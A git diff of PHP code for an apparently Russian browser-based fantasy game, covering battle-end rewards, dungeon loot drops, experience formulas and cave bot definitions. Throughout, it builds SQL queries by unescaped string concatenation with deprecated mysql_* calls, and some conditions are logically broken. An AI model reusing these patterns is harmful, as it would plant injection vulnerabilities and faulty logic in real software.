+ $charge = mysql_fetch_array(mysql_query('SELECT `win` FROM `battle` WHERE `id` = ' . $this->battle_data['id'] . ' LIMIT 1;')); + } + if (($t2life == 0 OR $t1life == 0) && ($charge[0] == 3 || $charge[0] == 9)) { + + // ============================= конец боя ========================== + mysql_query("UPDATE battle SET `win` = 0 WHERE `id` = {$this->user['battle']}"); + + // оцениваем игроков + //$cost1 =0; $cost2 =0; $kula4ka = 0; $t2c =0; $t1c =0; $lvs1=0; $lvs2=0; $bxp = 0; + foreach ($this->t1 as $k => $v) { + $nks1[] = nick7($v); + $nks1hist[] = nick3($v); + } + $lvs1 = $lvs1 / ($t1c + 1); + foreach ($this->t2 as $k => $v) { + $nks2[] = nick7($v); + $nks2hist[] = nick3($v); + } + + // тима победителей + if (in_array($ss[0], $this->t1)) { + $flag = 1; + foreach ($this->t1 as $k => $v) { + mysql_query('UPDATE `battle` SET `win` = 1 WHERE `id` = ' . $this->user['battle'] . ' LIMIT 1'); + $this->t1[$k] = nick5($v, " "); + $this->exp[$v] = $this->exp[$v] * $opitas / 1; + $this->exp[$v] = round($this->exp[$v]); + + if ($this->user['x'] != 0 || $this->user['y'] != 0) { + if ($this->user['psh'] > 0) { + //Убиваем монстра, выдаем дроп + $lobj = mysql_fetch_array(mysql_query('SELECT * FROM `psh_bot` WHERE `dn` = "' . $this->user['psh'] . '" AND `x` = "' . $this->battle_data['x'] . '" AND `y` = "' . $this->battle_data['y'] . '" LIMIT 1')); + if (isset($lobj['id2']) && $this->user['psh'] > 0) { + mysql_query('DELETE FROM `psh_bot` WHERE `dn` = "' . $this->user['psh'] . '" AND `x` = "' . $this->battle_data['x'] . '" AND `y` = "' . $this->battle_data['y'] . '"'); + } + } else { + //Убиваем монстра, выдаем дроп + $lobj = mysql_fetch_assoc(mysql_query("SELECT * FROM `laba_obj` WHERE `lib` = '" . $this->user['laba'] . "' AND `x` = '" . $this->user['x'] . "' AND `y` = '" . $this->user['y'] . "'")); + if (isset($lobj['id'])) { + $q2 = mysql_fetch_array(mysql_query('SELECT * FROM `qst_user` WHERE `uid` = "' . $this->user['id'] . '" AND `cancel` = "0" AND `finish` = "0" LIMIT 1')); + if (isset($q2['id'])) { + $q1 = mysql_fetch_array(mysql_query('SELECT * FROM `qst` WHERE `id` = "' . $q2['qid'] . '" LIMIT 1')); + if ($q1['type'] == 3) { + //Выполняем квест на убийство + $jobs = 0; + $sp = mysql_query('SELECT * FROM `bots` WHERE `battle` = "' . $this->battle_data['id'] . '"'); + while ($pl = mysql_fetch_array($sp)) { + if ($q1['obj_id'] == $pl['prototype']) { + $jobs++; + } + } + mysql_query('UPDATE `qst_user` SET `val` = "' . ($q2['val'] + $jobs) . '" WHERE `id` = "' . $q2['id'] . '" LIMIT 1'); + } + } + mysql_query("UPDATE `laba_obj` SET `use` = '" . time() . "' WHERE `lib` = '" . $lobj['lib'] . "' AND `x` = '" . $lobj['x'] . "' AND `y` = '" . $lobj['y'] . "'"); + } + } + } + + ///////////////////////при победе = для подземки///////////////////////////////////// + $gess = mysql_query('SELECT * FROM `labirint` WHERE `user_id` = ' . $this->user['id'] . ''); + + if ($hokke = mysql_fetch_array($gess)) { + $glav_id = $hokke["glav_id"]; + $glava = $hokke["glava"]; + $nm = $hokke["boi"]; +///////////////////////////////////////////////////////////// + $DR = mysql_fetch_array(mysql_query("SELECT * FROM `canal_bot` WHERE `glava`='$glava' and `boi`= '$nm'")); + if ($DR) { + $bot = $DR["bot"]; + $nomer = $DR["nomer"]; +//////////////////////////////////////////////////////////////// + $shans1 = rand(0, 100); + $shans2 = rand(0, 100); + $shans3 = rand(0, 100); +//////////////////////////////////////////////////////////////// + $est = 0; + $d1 = 0; + $d2 = 0; + $d3 = 0; + if ($bot == '1' or $bot == '2' or $bot == '3' or $bot == '1.1' or $bot == '1.2' or $bot == '1.3' or $bot == '2.2' or $bot == '2.3' or $bot == '3.3' or $bot == '1.1.1' or $bot == '1.1.2' or $bot == '1.1.2' or $bot == '1.2.2' or $bot == '1.3.2' or $bot == '1.3.3' or $bot == '2.2.2' or $bot == '2.2.3' or $bot == '2.3.3' or $bot == '3.3.3' or $bot == '1.3.2') { + if ($bot == '1' and $bot == '2' and $bot == '3') { + if ($shans1 < '25') { + $d1 = 1; + } + } + if ($bot == '1.1' or $shans2 < '25' and $bot == '1.2' or $shans2 < '25' and $bot == '1.3' or $shans2 < '25' and $bot == '2.2' or $shans2 < '25' and $bot == '2.3' or $shans2 < '25' and $bot == '3.3') { + if ($shans1 < '25') { + $d1 = 1; + } + if ($shans2 < '25') { + $d2 = 1; + } + } + if ($bot == '1.1.1' or $shans3 < '25' and $bot == '1.1.2' or $shans3 < '25' and $bot == '1.1.2' or $shans3 < '25' and $bot == '1.2.2' or $shans3 < '25' and $bot == '1.3.2' or $shans3 < '25' and $bot == '1.3.3' or $shans3 < '25' and $bot == '2.2.2' or $shans3 < '25' and $bot == '2.2.3' or $shans3 < '25' and $bot == '2.3.3' or $shans3 < '25' and $bot == '3.3.3' or $shans3 < '25' and $bot == '1.3.2') { + if ($shans1 < '25') { + $d1 = 1; + } + if ($shans2 < '25') { + $d2 = 1; + } + if ($shans3 < '25') { + $d3 = 1; + } + } + + $est = $d1 + $d2 + $d3 + 500; + if ($est > '500') { + mysql_query("UPDATE podzem3 SET n$nomer='$est' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } else { + mysql_query("UPDATE podzem3 SET n$nomer='' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } + } + + + if ($bot == '4' or $bot == '5' or $bot == '6' or $bot == '8') { + if ($shans1 < '99') { + $est = 504; + } + if ($est > '500') { + mysql_query("UPDATE podzem3 SET n$nomer='$est' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } else { + mysql_query("UPDATE podzem3 SET n$nomer='' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } + } + + if ($bot == '7') { + if ($shans1 < '99') { + $est = 510; + } + if ($est == '510') { + mysql_query("UPDATE podzem3 SET n$nomer='$est' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } else { + mysql_query("UPDATE podzem3 SET n$nomer='' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } + if ($this->user['medal2'] == '0') { + mysql_query("UPDATE `users` SET `medal2`='1' WHERE `id`=" . $this->user['id'] . ""); + } + } +//////////////////////////2 etaz///////////////////////////////////////////////////////////////// + if ($bot == '9' or $bot == '11' or $bot == '9.9' or $bot == '11.11' or $bot == '9.9.9' or $bot == '11.11.11') { + + if ($bot == '9' or $bot == '11') { + if ($shans1 < '50') { + $d1 = 1; + } + } + if ($bot == '9.9' or $bot == '11.11') { + if ($shans1 < '99') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + } + if ($bot == '9.9.9' or $bot == '11.11.11') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + if ($shans3 < '50') { + $d3 = 1; + } + } + $est = $d1 + $d2 + $d3 + 600; + if ($est > '600') { + mysql_query("UPDATE podzem3 SET n$nomer='$est' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } else { + mysql_query("UPDATE podzem3 SET n$nomer='' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } + + }//////////Чистая гайка//////////////////////////////////////////////////// + if ($bot == '13' or $bot == '13.13' or $bot == '13.13.13') { + + if ($bot == '13') { + if ($shans1 < '50') { + $d1 = 1; + } + } + if ($bot == '13.13') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + } + if ($bot == '13.13.13') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + if ($shans3 < '50') { + $d3 = 1; + } + } + $est = $d1 + $d2 + $d3 + 603; + if ($est > '603') { + mysql_query("UPDATE podzem3 SET n$nomer='$est' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } else { + mysql_query("UPDATE podzem3 SET n$nomer='' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } + + }//////////Гайка с резьбой//////////////////////////////////////////////////// + if ($bot == '10' or $bot == '10.10' or $bot == '10.10.10') { + + if ($bot == '10') { + if ($shans1 < '50') { + $d1 = 1; + } + } + if ($bot == '10.10') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + } + if ($bot == '10.10.10') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + if ($shans3 < '50') { + $d3 = 1; + } + } + $est = $d1 + $d2 + $d3 + 606; + if ($est > '606') { + mysql_query("UPDATE podzem3 SET n$nomer='$est' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } else { + mysql_query("UPDATE podzem3 SET n$nomer='' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } + + }//////////длинный болт//////////////////////////////////////////////////// + if ($bot == '12' or $bot == '12.12' or $bot == '12.12.12' or $bot == '15' or $bot == '15.15' or $bot == '15.15.15' or $bot == '16' or $bot == '16.16' or $bot == '16.16.16') { + + if ($bot == '12' or $bot == '15' or $bot == '16') { + if ($shans1 < '50') { + $d1 = 1; + } + } + if ($bot == '12.12' or $bot == '15.15' or $bot == '16.16') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + } + if ($bot == '12.12.12' or $bot == '15.15.15' or $bot == '16.16.16') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + if ($shans3 < '50') { + $d3 = 1; + } + } + $est = $d1 + $d2 + $d3 + 609; + if ($est > '609') { + mysql_query("UPDATE podzem3 SET n$nomer='$est' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } else { + mysql_query("UPDATE podzem3 SET n$nomer='' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } + + }//////////Нужный болт//////////////////////////////////////////////////// + if ($bot == '14' or $bot == '14.14' or $bot == '14.14.14' or $bot == '17' or $bot == '17.17' or $bot == '17.17.17' or $bot == '18' or $bot == '18.18' or $bot == '18.18.18') { + + if ($bot == '14' or $bot == '17' or $bot == '18') { + if ($shans1 < '50') { + $d1 = 1; + } + } + if ($bot == '14.14' or $bot == '17.17' or $bot == '18.18') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + } + if ($bot == '14.14.14' or $bot == '17.17.17' or $bot == '18.18.18') { + if ($shans1 < '50') { + $d1 = 1; + } + if ($shans2 < '50') { + $d2 = 1; + } + if ($shans3 < '50') { + $d3 = 1; + } + } + $est = $d1 + $d2 + $d3 + 612; + if ($est > '612') { + mysql_query("UPDATE podzem3 SET n$nomer='$est' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } else { + mysql_query("UPDATE podzem3 SET n$nomer='' WHERE glava='$glava' and name='" . $hokke["name"] . "'"); + } + + }//////////Рабочий винтель//////////////////////////////////////////////////// + } + mysql_query("UPDATE `labirint` SET `boi`='0' WHERE `user_id`=" . $this->user['id'] . ""); + mysql_query("DELETE FROM `canal_bot` WHERE `nomer`='$nomer' and `glava`='$glava' and `boi`='$nm'"); + } +///////////////////////////////////////////////////////////////////////////////////////////////////// + + + include "darkness_quest.php"; + + $this->exp[$v] = round($this->exp[$v]); + $dop_exp = check_proc($this->user['id']); + if ($dop_exp > 100) { + $add = ($dop_exp - 100); + $this->exp[$v] += round(($this->exp[$v] * $add) / 100, 0); + } + + if ($user['caveleader'] > 0 || $user['laba'] > 0) { + if ($this->damage[$v] > 1) { + $this->exp[$v] = mt_rand(5, 10); + } else { + $this->exp[$v] = 0; + } + } + + if (empty($this->damage[$v])) { + $this->damage[$v] = 0; + } + + if ($user['caveleader'] > 0 || $user['laba'] > 0) { + $rep = floor($this->damage[$v] / 300); + if ($rep <= 0) { + $rep = 0; + } + $ads = '. Репутации: ' . $rep . ' ед.'; + } else { + $rep = 0; + $ads = '.'; + } + + if ($this->battle_data['clone'] == 1 && $this->battle_data['fiz'] == 0) { + $this->addAction(time(), 'kill_clone', 0, $this->user['id']); + echo ""; + } + + if ($this->battle_data['type'] == 3) { + $this->addAction(time(), 'win_haot', 0, $this->user['id']); + echo ""; + } + + if ($this->battle_data['fiz'] == 1) { + $this->addAction(time(), 'win_fiz', 0, $this->user['id']); + echo ""; + } + + addchp('Внимание! Победа! Бой окончен. Всего вами нанесено урона : ' . $this->damage[$v] . ' HP. Получено опыта : ' . $this->exp[$v] . ' (' . $dop_exp . '%)' . $ads . ' ', '{[]}' . nick7($v) . '{[]}'); + + mysql_query('UPDATE `users` SET `win` = (`win` +1), `fullhptime` = ' . time() . ' WHERE `id` = "' . $v . '"'); + GiveExp($v, $this->exp[$v]); + if ($user['caveleader'] > 0 || $user['laba'] > 0) { + GiveRep($v, $rep); + } + if ($user['klan']) { + mysql_query('UPDATE `clans` SET `clanexp` = (`clanexp`+' . (int)$this->exp[$user['id']] . ') WHERE `id` = "' . $v[$user['klan']] . '" LIMIT 1'); + } + + } + $winers .= implode(", ", $this->t1); + $lomka = $this->t2; + include('cave/win.php'); + } elseif (in_array($ss[0], $this->t2)) { + $flag = 2; + foreach ($this->t2 as $k => $v) { + mysql_query('UPDATE `battle` SET `win` = 2 WHERE `id` = "' . $this->user['battle'] . '" LIMIT 1'); + $this->t2[$k] = nick5($v, ""); + + if ($this->battle_data['aren_of'] == 1 && $this->t2[$k] && $v < _BOTSEPARATOR_) { + mysql_query('INSERT INTO `logs_arena` (`battle`, `user`, `uid`, `damage`, `team`) VALUES ("' . $this->user['battle'] . '", "' . $this->t1[$k] . '", "' . $v . '", "' . $this->damage[$v] . '", "2")'); + } + + if ($this->user['laba'] > 0) { + mysql_query('UPDATE `users` SET `x` = "' . $this->user['xf'] . '", `y` = "' . $this->user['yr'] . '" WHERE `id` = "' . $this->user['id'] . '" LIMIT 1'); + } + + $this->exp[$v] = round($this->exp[$v]); + $dop_exp = check_proc($this->user['id']); + if ($dop_exp > 100) { + $add = ($dop_exp - 100); + $this->exp[$v] += round(($this->exp[$v] * $add) / 100, 0); + } + + if ($user['caveleader'] > 0 || $user['laba'] > 0) { + if ($this->damage[$v] > 1) { + $this->exp[$v] = rand(5, 10); + } else { + $this->exp[$v] = 0; + } + } + + if ($this->battle_data['clone'] == 1 && $this->battle_data['fiz'] == 0) { + $this->addAction(time(), 'kill_clone', 0, $this->user['id']); + echo ""; + } + + if ($this->battle_data['type'] == 3) { + $this->addAction(time(), 'win_haot', 0, $this->user['id']); + echo ""; + } + + if ($this->battle_data['fiz'] == 1) { + $this->addAction(time(), 'win_fiz', 0, $this->user['id']); + echo ""; + } + mysql_query('UPDATE `users` SET `win` = (`win` +1), `fullhptime` = ' . time() . ' WHERE `id` = "' . $v . '"'); + GiveExp($v, $this->exp[$v]); + if ($user['caveleader'] > 0 || $user['laba'] > 0) { + GiveRep($v, $rep); + } + if ($user['klan']) { + mysql_query('UPDATE `clans` SET `clanexp` = (`clanexp`+' . (int)$this->exp[$user['id']] . ') WHERE `id` = "' . $v[$user['klan']] . '" LIMIT 1'); + } + + + } + $winers .= implode(", ", $this->t2); + $lomka = $this->t1; + } + + + mysql_query("UPDATE `users`, `bots` SET `users`.`fullhptime` = " . (time() + 300) . ",`users`.`hp` = `bots`.`hp` WHERE `users`.id=83 AND `bots`.prototype=83;"); + + + // ===================ломаем шмот============= + if (!empty($lomka)) { + foreach ($lomka as $k => $v) { + if (mt_rand(1, 3) == 1) { + $us = mysql_query('UPDATE `inventory` SET `duration`=`duration`+1 WHERE `type` <> 12 AND `dressed` = 1 AND `owner` = \'' . $v . '\';'); + } + $this->exp[$v] = 0; + addchp('Внимание! Бой окончен. Всего вами нанесено урона ' . (int)$this->damage[$v] . ' HP. Получено опыта 0. ', '{[]}' . nick7($v) . '{[]}'); + mysql_query('UPDATE `users` SET `lose`=`lose` +1 WHERE `id` = \'' . $v . '\';'); + // если поединок был кровавым - еще и ставм травмы + } + + + if (in_array($user['room'], $caverooms)) { + $location = mysql_fetch_array(mysql_query("SELECT `x`, `y`, `dir` FROM `caveparties` WHERE `user` = '" . $this->user['id'] . "' LIMIT 1")); + + if ($location['dir'] == 0) { + $y = $location['y'] * 2; + $x = ($location['x'] - 1) * 2; + } + if ($location['dir'] == 1) { + $y = ($location['y'] - 1) * 2; + $x = $location['x'] * 2; + } + if ($location['dir'] == 2) { + $y = $location['y'] * 2; + $x = ($location['x'] + 1) * 2; + } + if ($location['dir'] == 3) { + $y = ($location['y'] + 1) * 2; + $x = $location['x'] * 2; + } + mysql_query("UPDATE `cavebots` SET `battle` = 0 WHERE `battle` = '" . $this->battle_data['id'] . "'"); + + } + + if ($this->battle_data['x'] > 0 || $this->battle_data['y'] > 0 && $this->user['laba'] > 0) { + mysql_query('UPDATE `users` SET `x` = "' . $this->user['xf'] . '", `y` = "' . $this->user['yr'] . '" WHERE `laba` = "' . $this->user['laba'] . '" AND `x` = "' . $this->battle_data['x'] . '" AND `y` = "' . $this->battle_data['y'] . '" AND `battle` = "' . $this->battle_data['id'] . '" LIMIT 1'); + } + include("cave/lose.php"); + + + } + + foreach ($this->t1 as $k => $v) { + $us = mysql_query('SELECT duration, maxdur, name FROM `inventory` WHERE `type` <> 12 AND `dressed` = 1 AND `owner` = \'' . $v . '\';'); + while ($rrow = mysql_fetch_row($us)) { + if (($rrow[1] - $rrow[0]) == 1) + $this->add_log('' . date("[H:i:s]") . ' Внимание! У "' . nick7($v) . '" предмет "' . $rrow[2] . '" в критическом состоянии!
    (на правах рекламы) Ремонтная мастерская oldbbk. Мы даем вторую жизнь старым вещам!
    '); + elseif (($rrow[1] - $rrow[0]) == 2) + $this->add_log('' . date("[H:i:s]") . ' Внимание! У "' . nick7($v) . '" предмет "' . $rrow[2] . '" нуждается в ремонте!
    (на правах рекламы) Ремонтная мастерская oldbbk. Мы даем вторую жизнь старым вещам!
    '); + } + } + foreach ($this->t2 as $k => $v) { + $us = mysql_query('SELECT duration, maxdur, name FROM `inventory` WHERE `type` <> 12 AND `dressed` = 1 AND `owner` = \'' . $v . '\';'); + while ($rrow = mysql_fetch_row($us)) { + if (($rrow[1] - $rrow[0]) == 1) + $this->add_log('' . date("[H:i:s]") . ' Внимание! У "' . nick7($v) . '" предмет ' . $rrow[2] . ' в критическом состоянии!
    (на правах рекламы) Ремонтная мастерская oldbbk. Мы даем вторую жизнь старым вещам!
    '); + elseif (($rrow[1] - $rrow[0]) == 2) + $this->add_log('' . date("[H:i:s]") . ' Внимание! У "' . nick7($v) . '" предмет "' . $rrow[2] . '" нуждается в ремонте!
    (на правах рекламы) Ремонтная мастерская oldbbk. Мы даем вторую жизнь старым вещам!
    '); + } + } + + //============================================== + if ($winers) { + if (isset($_SESSION['botas'])) { + $_SESSION['botai'][$_SESSION['botas']][2] = 1; //uzmusam bota + } + $this->add_log('' . date("[H:i:s]") . ' ' . 'Бой закончен, победа за ' . $winers . '
    '); + if ($this->battle_data['blood']) { + $this->add_log('' . date("[H:i:s]") . ' ... и победители стали калечить проигравших...
    '); + foreach ($lomka as $k => $v) { + $tr = settravma($v, 0, 86400, 1); + $this->add_log('' . date("[H:i:s]") . ' ' . nick7($v) . ' получил повреждение: ' . $tr . '
    '); + } + } + } else { + $this->add_log('' . date("[H:i:s]") . ' ' . 'Бой закончен. Ничья.
    '); + $this->exp = null; +////////////////при Ничьей = для поземки/////////////////// + $sd = mysql_query("SELECT glav_id,boi,glava FROM `labirint` WHERE `user_id`=" . $this->user['id'] . ""); + if ($dd = mysql_fetch_array($sd)) { + $glav_id = $dd["glav_id"]; + $glava = $dd["glava"]; + $nm = $dd["boi"]; + mysql_query("DELETE FROM `canal_bot` WHERE `boi`='$nm' and `glava`='$glava'"); + mysql_query("UPDATE `labirint` SET `location`='16',`vector`='0',`dead`=dead+1,`t`='226',`l`='454',`boi`='0' WHERE `user_id`=" . $this->user['id'] . ""); + } +/////////////////////////////////// + } + + // sys + if ($flag == 1) { + $rr = implode("
    , ", $nks1) . " и " . implode(", ", $nks2); + } elseif ($flag == 2) { + $rr = implode(", ", $nks1) . " и " . implode(", ", $nks2) . ""; + } else { + $rr = implode(", ", $nks1) . " и " . implode(", ", $nks2) . ""; + } + // выносим хп-ку и выходим из боя + + mysql_query('UPDATE `battle` SET `t1hist` = \'' . implode(", ", $nks1hist) . '\', `t2hist` = \'' . implode(", ", $nks2hist) . '\' WHERE `id` = ' . $this->battle_data['id'] . ' ;'); + addch("battle_data['id'] . " target=_blank>Поединок между " . $rr . " закончен. ", $user['room']); + mysql_query('UPDATE `battle` SET `exp` = \'' . serialize($this->exp) . '\' WHERE `id` = ' . $this->battle_data['id'] . ' ;'); + mysql_query("DELETE FROM `bots` WHERE `battle` = {$this->user['battle']};"); + mysql_query("UPDATE users SET `battle` =0, `fullhptime` = " . time() . " WHERE `battle` = {$this->user['battle']}"); + echo mysql_error(); + unset($this->battle); + //header("Location: fbattle.php"); die(); + return true; + // ================================================================= + } + } + return false; + } + + function addAction($time, $vars, $vls, $uid) + { + $ins = mysql_query('INSERT INTO `actions` (`uid`, `time`, `city`, `room`, `vars`, `ip`, `vals`) VALUES ("' . $uid . '", "' . $time . '", "capitalcity", "0", "' . mysql_real_escape_string($vars) . '", "' . mysql_real_escape_string($_SERVER['HTTP_X_REAL_IP']) . '", "' . mysql_real_escape_string($vls) . '")'); + if ($ins) { + return true; + } else { + return false; + } + } + + function solve_exp($at_id, $def_id, $damage) + { + require_once('exp_koef.php'); + $baseexp = array( + + "0" => "5", + "1" => "10", + "2" => "20", + "3" => "30", + "4" => "60", + "5" => "120", + "6" => "180", + "7" => "230", + "8" => "350", + "9" => "500", + "10" => "800", + "11" => "1100", + "12" => "1200", + "13" => "1300", + "14" => "1400", + "15" => "1500" + ); + if ($at_id > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT * FROM `bots` WHERE `id` = ' . $at_id . ' LIMIT 1;')); + $at_id = $bots['prototype']; + $bot_active = true; + } + $at = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '" . $at_id . "' LIMIT 1;")); + $at_cost = mysql_fetch_array(mysql_query("select 1+IFNULL((select SUM(cost) FROM inventory WHERE owner = users.id AND dressed=1),0), `align` FROM users WHERE id = " . $at_id . " LIMIT 1;")); + $kulak1 = mysql_fetch_array(mysql_query("select SUM(cost) FROM inventory WHERE owner = " . $at_id . " AND dressed=1 LIMIT 1;")); + + if ($def_id > _BOTSEPARATOR_) { + $bots = mysql_fetch_array(mysql_query('SELECT * FROM `bots` WHERE `id` = ' . $def_id . ' LIMIT 1;')); + $def_id = $bots['prototype']; + $bot_def = true; + } + $def = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '" . $def_id . "' LIMIT 1;")); + $def_cost = mysql_fetch_array(mysql_query("select 1+IFNULL((select SUM(cost) FROM inventory WHERE owner = users.id AND dressed=1),0), `align` FROM users WHERE id = " . $def_id . " LIMIT 1;")); + $kulak2 = mysql_fetch_array(mysql_query("select SUM(cost) FROM inventory WHERE owner = " . $def_id . " AND dressed=1 LIMIT 1;")); + + // модификаторы опыта + // 100% опыта + $expmf = 2; + // 200% опыта + //$expmf = 2; + + //первичка + if ($at['sergi'] == 0 && $at['kulon'] == 0 && $at['bron'] == 0 && $at['r1'] == 0 && $at['r2'] == 0 && $at['r3'] == 0 && $at['helm'] == 0 + && $at['perchi'] == 0 && $at['boots'] == 0 && $at['m1'] == 0 && $at['m2'] == 0 && $at['m3'] == 0 && $at['m4'] == 0 && $at['m5'] == 0 + && $at['m6'] == 0 && $at['m7'] == 0 && $at['m8'] == 0 && $at['m9'] == 0 && $at['m10'] == 0 + && $at['weap'] != 0 && $kulak1[0] < 17) { + $expmf = $expmf * $mods['perv']; + } + + //кулонка + if ($at['sergi'] == 0 && $at['bron'] == 0 && $at['helm'] == 0 + && $at['perchi'] == 0 && $at['boots'] == 0 && $at['m1'] == 0 && $at['m2'] == 0 && $at['m3'] == 0 && $at['m4'] == 0 && $at['m5'] == 0 + && $at['m6'] == 0 && $at['m7'] == 0 && $at['m8'] == 0 && $at['m9'] == 0 && $at['m10'] == 0 + && $at['weap'] != 0 && $at['kulon'] != 0 && $at['r1'] != 0 && $at['r2'] != 0 && $at['r3'] != 0) { + //mfkrit,mfakrit,mfuvorot,mfauvorot + $expmf = $expmf * $mods['kulon']; + } + + if ($this->battle_data['blood']) {//кровавые массовые + if (($this->t1 + $this->t2) >= $krov_bitv && ($this->t1 + $this->t2) < $krov_rez) $expmf = $expmf * $mods['krov_op']; + elseif (($this->t1 + $this->t2) >= $krov_rez && ($this->t1 + $this->t2) < $krov_sech) $expmf = $expmf * $mods['krovr_op']; + elseif (($this->t1 + $this->t2) >= $krov_sech) $expmf = $expmf * $mods['krovs_op']; + } else { //обычные массовые + if (($this->t1 + $this->t2) >= $velikaya && ($this->t1 + $this->t2) < $velichayshaya) $expmf = $expmf * $mods['vel_op']; + elseif (($this->t1 + $this->t2) >= $velichayshaya && ($this->t1 + $this->t2) < $epohalnaya) $expmf = $expmf * $mods['velich_op']; + elseif (($this->t1 + $this->t2) >= $epohalnaya) $expmf = $expmf * $mods['epoh_op']; + } + + if ($at['align'] == 4) { + $expmf = $expmf * $mods['haos']; + } + if (((int)$at['align'] == 1 && $def['align'] == 3) || ((int)$def['align'] == 1 && $at['align'] == 3)) { + $expmf = $expmf * $mods['alignprot']; + } + + if ($at['level'] > 1 && $kulak1[0] == 0 && $kulak2[0] == 0) { + $expmf = $expmf * $mods['kulakpenalty']; + } + //if($at['level'] > 1 && $at_cost[0] < $at['level']*50) { + // $expmf = $expmf*0.7; + // } elseif($at['level'] > 1) { + // $expmf = $expmf*1.3; + // } + if ($this->battle_data['blood']) { + $expmf = $expmf * $mods['bloodb']; + } + //$expmf = $expmf+($at_cost[0]/10000); + if ($this->battle_data['type'] == 1) { + $btfl = fopen('/tmpdisk/' . $at_id . '.btl', 'r'); + $contents = fread($btfl, filesize('/tmpdisk/' . $at_id . '.btl')); + fclose($btfl); + $cnt = substr_count($contents, $def_id); + if ($cnt <= 1) $exmod = $mods['btl_1']; + elseif ($cnt == 2) $exmod = $mods['btl_2']; + elseif ($cnt > 2) $exmod = $mods['btl_3']; + $expmf = $expmf * $mods['exmod']; + } + + $standart = array( + "0" => 1, + "1" => 1, + "2" => 15, + "3" => 111, + "4" => 265, + "5" => 526, + "6" => 882, + "7" => 919, + "8" => 919, + "9" => 919, + "10" => 919, + "11" => 919, + "12" => 919, + "13" => 919, + "14" => 919, + "15" => 919 + ); + + $mfit = ($at_cost[0] / ($standart[$at['level']] / 3)); + if ($mfit < 0.8) { + $mfit = 0.8; + } + if ($mfit > 1.5) { + $mfit = 1.5; + } + + /*if ($bot_active == true) { + $this->exp[$at_id] += ($baseexp[$def['level']])*($def_cost[0]/(($at_cost[0]+$def_cost[0])/2))*($damage/$def['maxhp'])*$expmf*$mfit*0.3; + + }*/ + $pls = count($this->t1) + count($this->t2); + if ($pls > 2) { + $mfbot = $bot_active == true ? 0.3 : 1; + $mfbot2 = $bot_def == true ? 0.7 : 1; + } else { + $mfbot = 1; + $mfbot2 = 1; + } + $expmf = 1; + $expek = ($baseexp[$def['level']]) * ($def_cost[0] / (($at_cost[0] + $def_cost[0]) / 2)) * ($damage / $def['maxhp']) * $expmf * $mfit * $mfbot * $mfbot2; + #echo "
    |$expek| [".$def['level']."]".($baseexp[$def['level']])."*(".$def_cost[0]."/((".$at_cost[0]."+".$def_cost[0].")/2))*($damage/".$def['maxhp'].")*$expmf*$mfit*$mfbot*$mfbot2
    "; + #die(); + return $expek; + } + + function write_stat_block($text) + { + $fp = fopen("backup/stat/battle_block" . $this->user['battle'] . ".txt", "a"); //открытие + flock($fp, LOCK_EX); //БЛОКИРОВКА ФАЙЛА + fputs($fp, $text . "\n"); //работа с файлом + fflush($fp); //ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И ЗАПИСЬ В ФАЙЛ + flock($fp, LOCK_UN); //СНЯТИЕ БЛОКИРОВКИ + fclose($fp); //закрытие + } + +} \ No newline at end of file diff --git a/classes/cave/cave_bots.php b/classes/cave/cave_bots.php new file mode 100644 index 0000000..377c72b --- /dev/null +++ b/classes/cave/cave_bots.php @@ -0,0 +1,5 @@ + 10025, 2 => 10026, 3 => 10027, 4 => 10028, 5 => 10031, 6 => 10032, 7 => 10033, 8 => 10034); +$botnames = array(1 => "Паук", 2 => "Тарантул", 3 => "Гигантская крыса", 4 => "Покровитель нечести", 5 => "Нечто", 6 => "Обезумевший крыс", 7 => "Призрак короля крыс ", 8 => "Обезумевший палач"); + +?> \ No newline at end of file diff --git a/classes/cave/caveitems.php b/classes/cave/caveitems.php new file mode 100644 index 0000000..bf3ed90 --- /dev/null +++ b/classes/cave/caveitems.php @@ -0,0 +1,12 @@ + 1126, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 50, 'podzem' => 1)); + $caveitems[2] = array(array('id' => 1125, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 40, 'podzem' => 1)); + $caveitems[3] = array(array('id' => 1127, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 15, 'podzem' => 1)); + $caveitems[4] = array(array('id' => 1128, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 5, 'podzem' => 1)); + $caveitems[5] = array(array('id' => 1126, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 60, 'podzem' => 1)); + $caveitems[6] = array(array('id' => 1130, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 7), 'podzem' => 1); + $caveitems[7] = array(array('id' => 1129, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 10, 'podzem' => 1)); + $caveitems[8] 